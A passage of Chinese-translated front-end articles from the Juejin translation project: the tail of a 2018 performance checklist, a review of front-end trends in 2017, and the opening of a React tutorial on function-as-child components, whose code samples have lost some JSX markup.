[k6](https://github.com/loadimpact/k6) 可以让你像写单元测试一样编写性能测试用例。 43. **是否启用了持续监控?** 有一个[WebPagetest](http://www.webpagetest.org/)私人的实例总是有利于快速和无限的测试。但是,一个带有自动警报的连续监视工具将会给您提供更详细的性能描述。设置您自己的用户计时标记来度量和监视特定的业务指标。同时,考虑添加[自动化性能回归警报](https://calendar.perfplanet.com/2017/automating-web-performance-regression-alerts/)来监控随着时间而发生的变化。 使用 RUM 解决方案来监视性能随时间的变化。对于自动化的类单元测试的负载测试工具,您可以使用 [k6](https://github.com/loadimpact/k6) 脚本 API。此外,可以了解下 [SpeedTracker](https://speedtracker.org)、[Lighthouse](https://github.com/GoogleChrome/lighthouse) 和 [Calibre](https://calibreapp.com)。 ### 速效方案 这个列表非常全面,完成所有的优化可能需要很长时间。所以,如果你只有一个小时的时间来进行重大的改进,你会怎么做?让我们把这一切归结为**10个低挂的水果**。显然,在你开始之前和完成之后,测量结果,包括开始渲染时间以及在 3G 和电缆连接下的速度指数。 1. 测量实际环境的体验并设定适当的目标。一个好的目标是:第一次有意义的绘制 < 1 s,速度指数 < 1250,在慢速的 3G 网络上的交互 < 5s,对于重复访问,TTI < 2s。优化渲染开始时间和交互时间。 2. 为您的主模板准备关键的 CSS,并将其包含在页面的 `` 中。(你的预算是 14 KB)。对于 CSS/JS,文件大小[不超过 170 KB gzipped](https://infrequently.org/2017/10/can-you-afford-it-real-world-web-performance-budgets/)(解压后 0.8-1 MB)。 3. 延迟加载尽可能多的脚本,包括您自己的和第三方的脚本——特别是社交媒体按钮、视频播放器和耗时的 JavaScript 脚本。 4. 添加资源提示,使用 `dns-lookup`、`preconnect`、`prefetch` 和 `preload` 加速传输。 5. 分离 web 字体,并以异步方式加载它们(或切换到系统字体)。 6. 优化图像,并在重要页面(例如登录页面)中考虑使用 WebP。 7. 检查 HTTP 缓存头和安全头是否设置正确。 8. 在服务器上启用 Brotli 或 Zopfli 压缩。(如果做不到,不要忘记启用 Gzip 压缩。) 9. 如果 HTTP/2 可用,启用 HPACK 压缩并开启混合内容警告监控。如果您正在运行 LTS,也可以启用 OCSP stapling。 10. 在 service worker 缓存中尽可能多的缓存资产,如字体、样式、JavaScript 和图像。 ### 清单下载(PDF, Apple Pages) 记住了这个清单,您就已经为任何类型的前端性能项目做好了准备。请随意下载该清单的打印版PDF,以及一个**可编辑的苹果页面文档**,以定制您需要的清单: * [Download the checklist PDF](https://www.dropbox.com/s/8h9lo8ee65oo9y1/front-end-performance-checklist-2018.pdf?dl=0) (PDF, 0.129 MB) * [Download the checklist in Apple Pages](https://www.dropbox.com/s/yjedzbyj32gzd9g/performance-checklist-1.1.pages?dl=0) (.pages, 0.236 MB) 如果你需要其他选择,你也可以参考 [Rublic 的前端清单](https://github.com/drublic/checklist)和 Jon Yablonski 的“[设计师的 Web 性能清单](http://jonyablonski.com/designers-wpo-checklist/)”。 ### 动身吧 一些优化可能超出了您的工作或预算范围,或者由于需要处理遗留代码而显得过度滥用。没问题!使用这个清单作为一个通用(并且希望是全面的)指南,并创建适用于你的环境的你自己的问题清单。但最重要的是,测试和权衡您自己的项目,以在优化前确定问题。祝大家 2018 年的性能大涨! **非常感谢 Guy Podjarny, Yoav Weiss, Addy Osmani, Artem Denysov, Denys Mishunov, Ilya Pukhalski, Jeremy Wagner, Colin Bendell, Mark Zeman, Patrick Meenan, Leonardo Losoviz, Andy Davies, Rachel Andrew, Anselm Hannemann, Patrick Hamann, Andy Davies, Tim Kadlec, Rey Bango, Matthias Ott, Mariana Peralta, Philipp Tellis, Ryan Townsend, Mohamed Hussain S H, Jacob Groß, Tim Swalling, Bob Visser, Kev Adamson, Aleksey Kulikov and Rodney Rehm 对这篇文章的校对,同样也感谢我们出色的社区,分享了他们在性能优化工作中学习到的技术和经验,供大家使用。你们真正的非常了不起! ** --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/frontend-in-2017-the-important-parts.md ================================================ > * 原文地址:[Frontend in 2017: The important parts](https://blog.logrocket.com/frontend-in-2017-the-important-parts-4548d085977f) > * 原文作者:[Kaelan Cooter](https://blog.logrocket.com/@eranimo?asource=post_header_lockup) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/frontend-in-2017-the-important-parts.md](https://github.com/xitu/gold-miner/blob/master/TODO/frontend-in-2017-the-important-parts.md) > * 译者:[gy134340](https://github.com/gy134340) > * 校对者:[tvChan](https://github.com/tvChan), [zhouzihanntu](https://github.com/zhouzihanntu) # **前端 2017: 举要删芜** ![](https://cdn-images-1.medium.com/max/1000/1*kTjbJH9x_nfRNgBduM3Oqg.png) 2017 年发生了很多事,想起来,嗯,确实有点多。我们都喜欢拿前端开发领域的变化之快开玩笑,而在过去几年中事实也确实如此。 尽管听起来可能会有些陈词滥调,今天我想说事情不一样了。 前端趋于稳定 —— 流行的库基本上已经得到了大众化而不是被竞争者抢去风头 —— 同时 web 开发变的很棒了。 这篇文章,我将着眼于大的趋势来总结今年前端生态中发生的一些重要事件。 #### **统计数据** 很难说什么是下一件大事什么时候到来,特别是你还在上一件大事之中时。获取开源工具正确的数据很难,通常情况下我们看下面几个地方: * **GitHub star 数量** 跟流行库趋势有一丢丢关联,但人们通常只是给那些有趣的项目 star 然后再也不会来了。 * **Google 趋势** 可以帮助我们粗糙的看到流行趋势,但是不能提供足够的数据来与一些特定的工具集做对比。 * **Stack Overflow 问题数量** 更多的只是可以看出人们对这一项技术的问题而不是这个东西的流行度。 * **NPM 下载量** 是人们下载这些库最精确的统计数据,即使这些也不是 100% 准确的,因为包括了一些可能的持续集成的自动下载数据。 * **一些调查** 比如 [2017 年 JavaScript 的发展](https://stateofjs.com/) 是基于大量样本( 20,000 个开发者)的调查,这对看出趋势很有用。 ### 框架 #### React [React 16](https://reactjs.org/blog/2017/09/26/react-v16.0.html) 在 9 月发布,带来一个完全重写的核心架构,同时没有任何重大 API 的变化。这个新版本提供了改进的错误处理机制 [error boundaries](https://reactjs.org/blog/2017/07/26/error-handling-in-react-16.html),以及支持将渲染树的一个子部分渲染到另一个 DOM 节点上。 React 团队重写核心库是为了将来更好的支持异步,这是现在的版本做不到的。异步渲染下,React 在渲染大型应用时将不会阻塞主线程。这一计划是为了在未来的 React 16 的小版本提供这一可选功能,所以你可以在 2018 前期待一下这个功能。 React 在前段时间关于 BSD 协议的争论后 [切换到了 MIT 协议](https://code.facebook.com/posts/300798627056246/relicensing-react-jest-flow-and-immutable-js/)。由于先前条款的太多限制,导致了很多团队考虑切换一个备选的 JavaScript 视图框架。然而,一直有争论这个是 [无依据的](https://blog.cloudboost.io/3-points-to-consider-before-migrating-away-from-react-because-of-facebooks-bsd-patent-license-b4a32562d268), 同时新的专利协议让 React 的用户受到了更少的保护。 #### Angular 在各种 beta 版本发布之后和候选版本中,Angular 4 于三月发布了。这个版本的关键特性是预编译 —— 在 build 时编译而不是 render 时编译。这意味着 Angular 应用程序不再需要为应用程序视图提供编译器 ,从而大大减少了包的大小。此版本还改进了对服务器端渲染的支持,并为 Angular 模板语言增加了许多小的“生活质量”改进。 在 2017 年,相对 React 来说,Angular 持续丢失份额。虽然 Angular 4 是一个流行的版本,它还是离年初时的高点很远。 ![](https://cdn-images-1.medium.com/max/800/0*EElb5vgfVEQaMzL3.) Angular、React 和 Vue 的 NPM 下载量 来源: npmtrends.com #### Vue.js 对 Vue 来说,2017年是伟大的一年,使得它作为一个前端视图层的框架与 React 和 Angular 并列。它因为简单的 API 和全套的企业解决方案而流行。由于采取类似 Angular 的模版语言和类似 React 的组件化思想,它常作为这两者之间的折中方案。 Vue 在过去一年里爆炸式的增长。同时产生了数量相当多的 [流行组件库](https://github.com/vuejs/awesome-vue#components--libraries) 和模版项目。 大量的公司也开始采用 Vue —— Vue — Expedia, Nintendo, GitLab [包括很多其他项目](https://madewithvuejs.com/)。 在年初,Vue 有 37k GitHub star 和 npm 上每周 52k 的下载量。到 12 月中旬时,它已经有了 76k 的 star 和每周 266k 的下载量,分别是以前的两倍和五倍。 这对比 React 仍然很苍白,根据 NPM 的数据 React 有每周 1600k 的下载量。可以期待 Vue 的继续高速成长,2018 也许它会成为最顶级的两个框架之一。 **总结:** React 目前领先,但是 Angular 仍在追赶。同时,Vue 可以感受到人气的飙升。 ### ECMAScript 在全面的[提议流程](https://github.com/tc39/ecma262)完成之后,JavaScript 的 2017 ECMAScript 标准在 6 月发布,包含一些开创性的特性,比如说异步函数,共享内存和原子操作。 异步函数可以让我们写简洁清晰的异步代码,它们现在被所有浏览器[支持](https://caniuse.com/#search=async%20fun),在升级到 V8 5.5 之后,NodeJS 在 v7.6.0 中增加了对它们的支持,在 2016 年末发布同时带来了重要的性能和内存优化。 [共享内存和原子操作](http://2ality.com/2017/01/shared-array-buffer.html)是一个非常重要的特性,但还没有引起足够的重视。共享内存由 `SharedArrayBuffer` 构造实现,允许 web workers 在内存中访问数组中相同的 bytes。 Workers (和主线程) 使用 `Atomics` 提供的原子操作方法在不同执行上下文中安全的访问内存。`SharedArrayBuffer` 提供相比较 message 一种相对于对象的传递更快的通讯方法。 采用共享内存在将来将非常重要,对 JavaScript 应用和游戏贴近原生的性能意味着 web 平台将变得及其有竞争力。应用在浏览器中可以变的更加复杂和做更多昂贵的操作,同时不需要牺牲性能或者把任务放在后端。一个真实的共享内存的并行架构对用 WebGL 和 web workers 来开发游戏的人是非常棒的优势。 截至2017年12月,所有主流浏览器都支持这一特性,同时 Edge 在 v16 之后开始支持,Node 不支持 web workers,所以没有计划支持共享内存。但是,它们在[重新考虑对 worker 的支持](https://github.com/nodejs/node/issues/13143),所以还是有可能在将来找到把这一特性放在 Node 中的方式。 **总结:** 共享内存让 JavaScript 的并行计算更加简单和高效。 ### WebAssembly WebAssembly (或者 WASM) 提供一种用其他语言编写然后编译成可以在浏览器中执行的方法。这种偏底层的类汇编的语言设计出来用来获取接近原生的性能。JavaScript 现在可以通过新的 API 加载 WebAssembly 的模块。 这个 API 还提供一个可以让 JavaScript 用 WebAssembly 模块实例,直接读取和操作内存的[内存构造函数](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_objects/WebAssembly/Memory), 可以和 JavaScript 应用高度整合。 [所有主流浏览器](https://caniuse.com/#feat=wasm)现在都支持 WebAssembly,Chrome 在五月,Firefox 在三月,Edge 在十月。Safari 在第 11 个版本,和 MacOS High Sierra 一同发布,使用原版本的现在可以获取更新。Chrome 安卓版以及 Safari 移动端现在都支持 WebAssembly。 你可以使用 [emscripten](http://kripken.github.io/emscripten-site/index.html) 编译器将 C/C++ 代码编译成 WebAssembly,[Rust](https://developer.mozilla.org/en-US/docs/WebAssembly/C_to_wasm) 和 [OCaml](https://github.com/sebmarkbage/ocamlrun-wasm) 也可以。同时还有很多种方法将 JavaScript(或者其他类似的)编译成 WebAssembly。比如说,[Speedy.js](https://github.com/MichaReiser/speedy.js) 和[AssemblyScript](https://github.com/AssemblyScript/prototype)使用 TypeScript 来检测类型,但是添加了低级的类型和基础的内存管理。 这些项目暂时都还没有在生产环境,同时他们的 API 经常变化。有了把 JS 编译成 WebAssembly 的[愿望](https://github.com/WebAssembly/design/issues/219),人们可以预知这些项目可以 在 WebAssembly 的流行中获取动力。 同时已经有[很多有趣的 WebAssembly 项目](https://github.com/mbasso/awesome-wasm)。有一个针对 C++ 的 [虚拟 DOM 实现](https://github.com/mbasso/asm-dom),允许用 C++ 创建整个前端应用。如果你的项目使用 Webpack,有一个 [wasm-loader](https://github.com/ballercat/wasm-loader) 就不需要手动的操作 fetch,直接解释 `.wasm` 类型的文件。[WABT](https://github.com/WebAssembly/wabt) 提供了一堆将二进制和 WASM 二进制的文本格式,打印信息之间转换的工具,以及 merge `.wasm` 文件。 预计 WebAssembly 将在未来一年变得更加流行,因为更多的工具已经开发出来,JavaScript社区也在意识到它的可能性。它现在还在 “试验” 阶段,浏览器也刚开始支持。它将成为优化 CPU 密集型任务和图像及 3D 处理的好工具。最终,随着它的成熟,我推测会在日常应用中获得更多的使用案例。 **总结:** WebAssembly 最终会改变一切,但它现在还很新。 ### 包管理工具 2017 年 JavaScript 包管理工具也发生了巨变,Bower 持续衰落,被 NPM 替代。它最后的版本是 2016 年 9 月,它的管理者现在[官方建议](https://github.com/bower/bower/pull/2458)用户在前端项目里使用 NPM。 Yarn 在 2016 年 10 月发布给 JavaScript 包管理带来革新。虽然它使用 NPM 相同的包仓库,Yarn 提供了更快的依赖下载,安装速度和更友好的 API。 Yarn 的 lock 文件可以确保每次重新 build 后的文件在不同机器上总是一致的,同时离线模式即在用户不联网情况下重新安装包。因为它的受欢迎程度大大增加,成千上万的项目开始使用它。 ![](https://cdn-images-1.medium.com/max/800/0*nn0TySEdCgPs-G0x.) _GitHub Yarn (紫) 和 NPM (棕)._ 来源: GitHub Star 历史 NPM 作为反击,带来了巨大性能改变和 API 彻底调整的 v5 版本。同时 Yarn 宣布了 [Yarn Workspaces](https://yarnpkg.com/blog/2017/08/02/introducing-workspaces/), 允许跟 [Lerna](https://github.com/lerna/lerna) 类似的高级 monorepo 支持。 还有更多除 Yarn 和 NPM 之外的 NPM 客户端,比如另一个流行的 [PNPM](https://github.com/pnpm/pnpm),宣称它是 “更快,更节省存储的包管理工具”,不同于 Yarn 和 NPM,它保留对所有安装包的全局缓存,同时向你的软件包的 node_modules 文件中添加这些符号链接。 **总结:** NPM 针对 Yarn 的流行迅速的调整自己,他们都很棒。 ### 样式表 #### 最近的更新 在过去的几年里 CSS 预处理器比如 SASS, Less 和 Stylus 变得很流行,在 2014 年发布的 [PostCSS] (https://github.com/postcss/postcss) 在 2017 真正的爆发,成为最流行的 CSS 预处理器。不同于其它预处理器,PostCSS 采用与 Babel 类似的插件模块的方法。在转换样式表之外它还提供 linter 和其他工具。 ![](https://cdn-images-1.medium.com/max/800/0*YPde_bP7PQlyGuxs.) 2017 NPM PostCSS, SASS, Stylus, 和 Less 下载量 来源: NPM 统计数据,2017 年 12 月 15 日 还有一些基于组件开发时使用 CSS 的底层问题需要解决。特别是,全局命名空间让单个组件的分离样式开发很困难。让 CSS 文件在另一个文件而不是在组件代码里意味着占用更多空间同时在开发中需要引用两个文件。 [CSS 模块化](https://github.com/css-modules/css-modules) 通过添加组件单独的命名空间来分离组件和通用的样式,这可以用不同的类名来为每个类来实现。在类似 Webpack 的构造系统中,这已经成为普遍采用的可行的方法,用[css-loader](https://github.com/webpack-contrib/css-loader) 来支持模块化。PostCSS 有一个支持同样功能的 [插件](https://github.com/css-modules/postcss-modules)。但是这种方法还是把 CSS 文件放在组件代码之外。 #### 其他解决办法 “CSS in JS” 是一个在 2014 年末由一个 Facebook 的 React 开发团队者 Christopher 在 [一个著名的演讲](https://speakerdeck.com/vjeux/react-css-in-js) 提出,同时衍生出一些更易创建组件化样式的有影响的库。目前最流行的解决方法是使用 ES6 [tagged template literals](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Template_literals) 来从 CSS 字符串中创建组件的 [styled-components](https://github.com/styled-components/styled-components) 库。 另一个流行的方法是 [Aphrodite](https://github.com/Khan/aphrodite),使用 JavaScript 对象字面量创建与框架无关的内联样式。在 [JavaScript 2017] 调查中,34% 的开发者声称他们使用过 CSS-in-JS。 **总结:** PostCSS 是首选的 CSS 预处理器,但是很多人转向 CSS-in-JS 的方法 ### 打包工具 #### Webpack 2017年 Webpack 巩固其领先于前一代 JavaScript 打包工具的地位: ![](https://cdn-images-1.medium.com/max/800/0*93D2VJU6CrNg6QLv.) NPM 上 Webpack, Gulp, Browserify, Grunt 的下载量 来源: npmtrends.com Webpack 2 在今年二月发布,它带来比如 ES6 模块化(不在需要 Babel 转换 import 语句了)和 tree shaking(删除无用的代码)这样的重要特性,V3 不久后也发布了,带来一个 “scope hoisting” 的特性,可以把所有的 webpack 模块打包成一个文件,极大的减少了文件体积。 在 6 月,webpack 团队[接到](https://medium.com/webpack/webpack-awarded-125-000-from-moss-program-f63eeaaf4e15) Mozilla 开源组的授权去开发 WebAssembly 的高级支持。这一计划最终目的是让 WebAssembly 和 JavaScript 打包工具可以深度整合。 在打包领域还有一些与 Webpack 无关的的创新空间,它在流行的同时,开发者也在抱怨配置使用它的困难和对于大型项目优化所需要的一堆插件。 #### Parcel [Parcel](https://github.com/parcel-bundler/parcel) 是一个有趣的项目,在 12 月上旬引起关注(只用 10 天收获 10000 star)。宣称自己速度极快,同时零配置。它通过利用 CPU 的多核心和高效的文件缓存达到目的。它操作抽象语法树而不是像 Webpack 的字符串。像 Webpack 一样,Parcel 也打包非 JavaScript 的资源文件,像图片和样式表文件。 这个模块工具展示了一个 JavaScript 社区通常的模式:不停的在开箱即用(集中)与配置一切(分散)之间切换。 我们从 Angular 到 React/Redux,SASS 到 PostCSS 的转变中可以看出这一点。Webpack 与在它之前出现的各种打包及任务处理工具一样,都是使用许多插件来进行分散配置的解决方案。 事实上,Webpack 和 React 在 2017 因为几乎一样的原因受到抱怨,人们期待开箱即用的解决方案,这很重要。 #### Rollup 在 2016 年发布 Webpack 2 之前,Rollup 引起了大家广泛的关注,引入了一个叫做 tree shaking 的流行功能,这是一种移除不用的代码的有趣方法。 Webpack 在第二个版本中为 Rollup 的签名功能提供了[支持](https://webpack.js.org/guides/tree-shaking/)这个来回应 Rollup 的签名特性。Rollup 跟 Webpack 相比[不同的打包方式](https://stackoverflow.com/questions/43219030/what-is-flat-bundling-and-why-is-rollup-better-at-this-than-webpack),让总的打包体积更小,同时也不能[支持](https://github.com/rollup/rollup/issues/372)代码分割这一重要的特性了。 在 4 月 React 的团队从 Gulp [切换](https://github.com/facebook/react/pull/9327) 到 Rollup, 很多人问为什么选择 Rollup 而不是 Webpack。Webpack 回应称[推荐](https://medium.com/webpack/webpack-and-rollup-the-same-but-different-a41ad427058c) Rollup 作为库的开发工具而 Webpack 作为应用的开发方式这篇文章来解决大家的疑惑。 **总结:** Webpack 仍是最流行的打包工具,但也许不会永远是这样。 ### TypeScript 在 2017 [Flow](https://github.com/facebook/flow) 相对于 [TypeScript](https://github.com/Microsoft/TypeScript) 来说丢失了大量的份额: ![](https://cdn-images-1.medium.com/max/800/0*1WUQKu98izZcyQwf.) Flow 对比 TypeScript NPM 2017 下载量 2017 来源: NPM 趋势 虽然这一趋势在持续了几年,但在 2017 年加快了步伐,TypeScript 现在是 2017 Stack Overflow 开发者调查中[第三受喜欢的语言](https://insights.stackoverflow.com/survey/2017#technology)(Flow 并没有在这里提及)。 TypeScript 胜利的原因包括:更好的工具(特别是 [Visual Studio Code](https://code.visualstudio.com/) 编辑器),lint 工具([tslint](https://github.com/palantir/tslint) 变的超级流行),更大的社区,更多第三方类型库,更好的文档,和更简单的配置。最早 TypeScript 做为 Angular 项目的可选语言而逐渐流行,现在已经巩固了在整个社区的使用度。根据 [Google 趋势](https://trends.google.com/trends/explore?date=2015-12-15%202017-12-15&q=%2Fm%2F0n50hxv),TypeScript 今年流行度上升了一倍。 TypeScript 采取[快速开发](https://github.com/Microsoft/TypeScript/wiki/Roadmap)的方式,这使得它可以不断微调类型系统来跟上 JavaScript 语言。它现在支持 ECMAScript 的 iterators, generators, 异步 generators,以及动态 import 特性。你现在可以根据 TypeScript 的类型接口和 JSDoc 注释来 [检查 JavaScript 的类型](https://www.typescriptlang.org/docs/handbook/type-checking-javascript-files.html)。 如果你使用 Visual Studio Code,TypeScript 现在在编辑器中支持出色的转换工具,允许重命名变量和自动导入包。 **总结:** TypeScript 赢了 Flow。 ### 状态管理 Redux 仍然是 React 项目的首选状态管理解决方案,在 2017 年整个 NPM 下载量增长了 5 倍: ![](https://cdn-images-1.medium.com/max/800/0*dgXzSYQF9HFyVEvc.) 2017 Redux 在 NPM 的下载量 来源: NPM 趋势 Mobx 是 Redux 在客户端状态管理上有趣的竞争者,不像 Redux, MobX 使用可观察的状态对象和一个受 [响应式函数式编程](https://github.com/lucamezzalira/awesome-reactive-programming) 概念启发的 API。Redux 的不同之处在于被传统函数式编程影响和纯函数的支持, Redux 可以看作通过 action 和 reducer 手动管理状态的解决方案。Mobx 与之相反,是自动化的状态管理方案因为观察者模式在背后做了所有你需要做的。 MobX 对你的数据结构,存储的数据类型,或者是不是可以序列化成 JSON 做了一些预设。这些因素使初学者非常容易使用 MobX。 不像 Redux, MobX 不是事务型和确定型的,这意味着 Mobx 不会自动获得 Redux 在调试和日志记录方面的所有优点。。你不能对整个 MobX 的状态做快照,意味着一些调试工具像 [LogRocket](https://logrocket.com/) 需要手动监测你的每个可观察对象。 像美国银行、IBM 和 Lyft 这些知名公司已经在使用 Mobx 了。同时也有[社区中逐步发展的](https://github.com/mobxjs/awesome-mobx) 的插件,工具和教程。它增长迅速:从年初 50k 的 NPM 下载量到十月份 250k 的下载量。 因为上述的限制,MobX 的团队将一直努力将 Redux 和 Mobx 在一个叫 [mobx-state-tree](https://github.com/mobxjs/mobx-state-tree) (或者 MST) 的项目中把它们结合起来。它本质上是一个状态容器,在后台使用 MobX 来提供一种方式来处理不可变数据,就像使用可变数据一样简单。根本上来说,你的状态还是可变的,但是你通过 _snapshot_ 同不可变的状态复本一起工作。 已经由很多的开发者工具可以帮助你调试检查你的状态树——[Wiretap](https://wiretap.debuggable.io/) 和 [mobx-devtools](https://github.com/andykog/mobx-devtools) 是很好的选择。因为他们大致采取相同的方式工作,你甚至可以对 mobx-state-tree 使用 Redux 开发工具。 **总结:** Redux 仍是王者,但是请看一下 MobX 和 mobx-state-tree ### GraphQL GraphQL 是一个可以实时查询接口语言,因为数据源的原因提供更清晰简洁的语法。不像 REST, GraphQL 提供类型语法,允许 JavaScript 客户端只查询他们需要的数据,它可能是近些年来接口开发中最大的革新。 虽然 GraphQL 语言标准从 [2016 年十月](http://facebook.github.io/graphql/October2016/) 就没有改变,但人们对它的兴趣与日俱增。在过去的几年里,Google 趋势发现对于 GraphQL 的搜索量 [4 倍的增长],对 JavaScript [GraphQL 客户端](https://github.com/graphql/graphql-js) NPM 下载量有 [13 倍的增长]。 当前有很多客户端和服务端实现可以选择,[Apollo](https://www.apollographql.com/) 是流行的选择之一,它添加全面的缓存控制和与 React 和 Vue 流行库的整合。[MEAN](https://github.com/linnovate/mean) 是也是一个使用 GraphQL 作为 API 层流行的全栈开发框架。 在过去的几年 [GraphQL 背后的社区](https://github.com/chentsulin/awesome-graphql) 也是极速发展。它创造了 20 多种语言的服务端实现方式,以及数以千计的教程和启动项目。有一个很好的 [awesome list](https://github.com/chentsulin/awesome-graphql)。 [React-starter-kit](https://github.com/kriasoft/react-starter-kit)——最流行的使用 GraphQL 的 React 生态环境中的项目。 **总结:** GraphQL 正在获得增长动力 ### 其他值得关注的 #### NapaJS· 微软新的基于 V8 之上的多线程 JavaScript 运行时库。[NapaJS](https://github.com/Microsoft/napajs) 提供了一种在 Node 环境运行多线程的方式,在现有 Node 架构下更好的支持 CPU 密集型任务的执行。它提供了一种 Node 多任务模型的备选方案,用一个模块来实现。现在可以在 NPM 上像其他库那样下载了。 Napa使用 [node-webworker-threads](https://github.com/audreyt/node-webworker-threads) 库来利用 Node 中的线程与底层语言结合,通过使用添加从工作线程内部使用 Node 模块系统的能力来无缝的融合 Node 生态链。它还提供了不同 workers 间通信的全面的接口,与新发布的共享内存标准非常类似。 这个项目是微软为 Node 生态系统应用高性能架构所做的努力。它目前正在被 Bing 搜索引擎作为后端栈的一部分所使用。 有了微软这样的大公司的支持,你可以对 Node 的长期稳定放心了。看 Node 社区跟随多线程可以走多远将会非常有趣。 #### Prettier 近些年来构建工具的重要性日益增长。随着 [Prettier](https://github.com/prettier/prettier) 的首次亮相,代码格式成为前端构建过程中常见的一环。它自称是一个严格代码的格式化工具,旨在通过解析和重写来增强始终如一的代码风格。 当像 lint 工具比如 [ESLint](https://eslint.org/) 长时间成为 [自动化检测规则](https://eslint.org/docs/user-guide/command-line-interface#--fix),Prettier 是最富特色的解决方案。不像 ESLint, Prettier 还支持 supports JSON, CSS, SASS, 甚至 GraphQL 和 Markdown。它还提供了与 [ESLint](https://prettier.io/docs/en/eslint.html) 及 [常见的编辑器](https://prettier.io/docs/en/eslint.html) 深度结合的能力。如果我们对分号意见一致,我们会很棒。 * * * ### 插件: LogRocket, web 应用的调试工具 ![](https://cdn-images-1.medium.com/max/1000/1*s_rMyo6NbrAsP-XtvBaXFg.png) [LogRocket](https://logrocket.com) 是一个前端的记录工具,允许你回放发生在自己浏览器上的问题。而不是猜测错误发生的原因,或者问用户要截图和日志文件, LogRocket 让你重现任务可以迅速的了解哪里出了问题。它和所有的应用都结合的很好,无论什么框架,同时有记录额外的 Redux, Vuex, 和 @ngrx/store 上下文工具。 在记录 Redux 事件和状态之外,LogRocket 记录控制面板,JavaScript 错误,堆栈,网络请求/答复的头和主体,浏览器元信息和自定义日志。它还操作 DOM 来记录页面中的 HTML 和 CSS,即使对最复杂的单页应用也可以再现非常精确的录制画面。 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/function-as-child-components.md ================================================ > * 原文地址:[Function as Child Components](http://merrickchristensen.com/articles/function-as-child-components.html) > * 原文作者:[Merrick](http://merrickchristensen.com/about.html) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 译者:[rottenpen](https://github.com/rottenpen) > * 校对者:[loveky](https://github.com/loveky) [avocadowang](https://github.com/avocadowang) # 将函数作为子组件的组件 # 我最近在 Twitter 上发起了关于高阶组件和将函数作为子类的组件的投票,得到的结果让我很意外。 如果你不知什么是“函数作为子组件的组件”,我试图通过这篇文章告诉你: 1. 函数作为子组件的组件是什么。 2. 它为什么有用。 3. 我只想享受分享的快乐,而不是收获一些 Twitter 转发,点赞,或是上一些 newsletter 等等。你懂我的意思吧? ## 什么是函数作为子组件的组件? ## “函数作为子组件的组件”是接收一个函数当作子组件的组件。这种模式的实施和执行得益于 React 的 property types。 ``` class MyComponent extends React.Component{ render() { return (
      {this.props.children('Scuba Steve')}
      ); } } MyComponent.propTypes = { children: React.PropTypes.func.isRequired, }; ``` 没错!通过函数作为子类组件的组件我们就能解耦父类组件和它们的子类组件,让设计者决定选用哪些参数及怎么将参数应用于子类组件。例如: ``` {(name) => (
      {name}
      )}
      ``` 其他使用这一组件的人可能考虑以不同的方式使用 name ,比如使之作为一个元素的属性: ``` {(name) => ( {name} )} ``` 这里真正奇妙的地方在于,MyComponent ,可以让函数作为子类组件的组件管理状态而不用关心它们是如何使用这些状态的。让我们再来一个更真实的例子。 ### 百分比组件 ### Ratio 组件将使用设备的宽度,监听 resize 事件并将宽度、高度以及一些描述是否完成尺寸计算的信息传给它的子组件。 首先我们从函数作为子类组件的组件的代码片段开始,这片段在所有子组件函数中都是常见的,它只是让 Comsumer 知道我们期望一个函数作为子组件,而不是 React 节点。 ``` class Ratio extends React.Component{ render() { return ( {this.props.children()} ); } } Ratio.propTypes = { children: React.PropTypes.func.isRequired, }; ``` 接下来让我们设计 API ,我们想要一个 X Y 轴的比率,然后我们使用当前的宽度来计算,可以设置一些内部 state 来管理宽度和高度,无论我们是否已经计算了。此外,也该让 propTypes 和 defaultProps 在使用组件时发挥点作用。 ``` class Ratio extends React.Component{ constructor() { super(...arguments); this.state = { hasComputed: false, width: 0, height: 0, }; } render() { return ( {this.props.children()} ); } } Ratio.propTypes = { x: React.PropTypes.number.isRequired, y: React.PropTypes.number.isRequired, children: React.PropTypes.func.isRequired, }; Ratio.defaultProps = { x: 3, y: 4 }; ``` 实际上我们还没有做什么有趣的事情,让我们来添加一些事件监听,并计算实际宽度(根据我们比率的变化): ``` class Ratio extends React.Component{ constructor() { super(...arguments); this.handleResize = this.handleResize.bind(this); this.state = { hasComputed: false, width: 0, height: 0, }; } getComputedDimensions({x, y}) { const {width} = this.container.getBoundingClientRect(); return { width, height: width * (y / x), }; } componentWillReceiveProps(next) { this.setState(this.getComputedDimensions(next)); } componentDidMount() { this.setState({ ...this.getComputedDimensions(this.props), hasComputed: true, }); window.addEventListener('resize', this.handleResize, false); } componentWillUnmount() { window.removeEventListener('resize', this.handleResize, false); } handleResize() { this.setState({ hasComputed: false, }, () => { this.setState({ hasComputed: true, ...this.getComputedDimensions(this.props), }); }); } render() { return (
      this.container = ref}> {this.props.children(this.state.width, this.state.height, this.state.hasComputed)}
